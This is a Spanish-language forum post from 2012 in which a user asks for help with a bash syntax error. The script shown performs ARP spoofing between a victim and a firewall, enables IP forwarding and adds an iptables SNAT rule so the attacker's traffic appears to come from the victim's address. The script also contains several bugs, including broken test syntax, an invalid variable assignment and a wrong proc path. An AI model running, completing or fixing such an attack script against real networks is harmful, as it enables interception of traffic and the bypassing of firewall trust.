1
Batch / Bash / Error de sintaxis en bash....pero donde?
« en: Enero 08, 2012, 01:59:15 pm »
Hola a ver si me podeis ayudar estoy haciendo un script para hacer ip spoofing en linux como se explica en el numero 11 de los cuadernos antiguos.
El problema es que da error de sintaxis en la linea 3.
El error que me da es:
: no se encontró la orden
'pspoof.sh: línea 3: error sintáctico cerca del elemento inesperado `
'pspoof.sh: línea 3: `function ayuda()
El problema es que da error de sintaxis en la linea 3.
El error que me da es:
: no se encontró la orden
'pspoof.sh: línea 3: error sintáctico cerca del elemento inesperado `
'pspoof.sh: línea 3: `function ayuda()
Código: [Seleccionar]
#!/bin/bash
function ayuda()
{
# El -e es para que coja los \n y los \t
echo -e "ipspoof victima1 victima2 [interfaz]\n"
echo -e "\tvictima1: ip que se desea spoofear\n" #ip que queremos suplantar
echo -e "\tvictima2: ip del firewall\n" # El firewall es la maquina a la que queremos engañar
echo -e "\tinterfaz: interfaz de red en la que se llevara a cabo el ataque\n"
echo -e "\t\tsi no se especifica se toma eth0 como valor por defecto\n"
}
if [$# < 2] then
ayuda
exit
fi
if [$# == 3] then
$interfaz = $3
else
$interfaz = 'eth0'
fi
# Habilitamos el ip forwarding para que el trafico que
echo 1 > /etc/sys/net/ipv4/ip_forward
# Iniciamos el arp spoof
arpspoof -i $interfaz -t $1 $2
arpspoof -i $interfaz -t $2 $1
# Configuramos la NAT que se encargara de cambiar la ip de los paquetes que van hacia el firewall
iptables -t nat -A POSTROUTING -d $2 -j SNAT --to $1
## Notas: Con el arpspoof se consigue que todo el trafico entre la victima
## y el firewall pase por nosotros. Si no se habilita el ip forwarding la
## victima se desconectara ya que su trafico es direccionado hacia nuestra
## maquina el ip forwarding se encarga de que los paquetes sigan su camino